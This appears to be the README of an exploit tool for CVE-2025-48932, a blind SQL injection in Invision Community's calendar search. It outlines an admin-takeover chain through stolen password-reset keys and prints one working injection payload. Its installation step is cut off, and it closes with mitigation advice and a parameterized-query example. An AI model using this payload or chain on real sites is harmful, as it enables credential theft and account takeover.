🔍 Vulnerability Description

CVE ID: CVE-2025-48932
Severity: High
CVSS Score: TBD
Affected Versions: Invision Community 4.x versions before 4.7.21

The vulnerability exists in the /applications/calendar/modules/front/calendar/view.php script. User input passed through the location request parameter in the IPS\calendar\modules\front\calendar\view::search() method is not properly sanitized before being used in SQL queries.

This allows remote, unauthenticated attackers to:

• Extract sensitive data from the database
• Read admin credentials
• Potentially achieve admin account takeover

Prerequisites for exploitation:

• Calendar application must be installed
• GeoLocation feature (like Google Maps) must be configured

Note: While SQL injection vulnerabilities in Invision Community 4.x versions < 4.7.18 could lead to admin account takeover and RCE by resetting the admin password, version 4.7.18 introduced a new security encryption key in the password reset mechanism, making this attack vector more difficult.

📦 Requirements

• Python 3.7 or higher
• pip (Python package manager)
• Internet connection
• Target system running Invision Community <= 4.7.20 with:
  • Calendar application installed
  • GeoLocation feature configured

🚀 Installation

1. Clone the repository:

🔬 How It Works

The exploit works in four main steps:

1. CSRF Token Extraction

The script first fetches a CSRF token from the target website, which is required for subsequent requests.

2. Boolean-Based Blind SQL Injection

Using a binary search algorithm, the exploit extracts data character by character from the database:

• Tests each character using conditional SQL queries
• Uses the RLIKE function with regex patterns to detect true/false conditions
• Error messages indicate successful conditions

3. Admin Email Extraction

Queries the core_members table to extract the administrator's email address.

4. Password Reset Exploitation

• The attacker manually initiates a password reset for the admin account
• The exploit extracts the password reset validation key from the database
• Uses the validation key to reset the admin password without email access

Technical Details

Injection Point:

location parameter → calendar/view.php → search() method

Payload Example:

'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#

Exploitation Technique: Boolean-based blind SQL injection using binary search for efficient data extraction.

🛡️ Mitigation

For Users

Immediate Actions:

1. Upgrade to version 4.7.21 or later - This version patches the vulnerability
2. Disable the Calendar application if not in use
3. Monitor access logs for suspicious activity
4. Review admin accounts for unauthorized access

For Developers

Secure Coding Practices:

1. Use parameterized queries/prepared statements - Never concatenate user input into SQL queries
2. Input validation - Validate and sanitize all user inputs
3. Least privilege principle - Database users should have minimal required permissions
4. Web Application Firewall (WAF) - Deploy WAF rules to detect SQL injection attempts
5. Regular security audits - Conduct periodic code reviews and penetration tests

Example of Secure Code:

// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";

// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
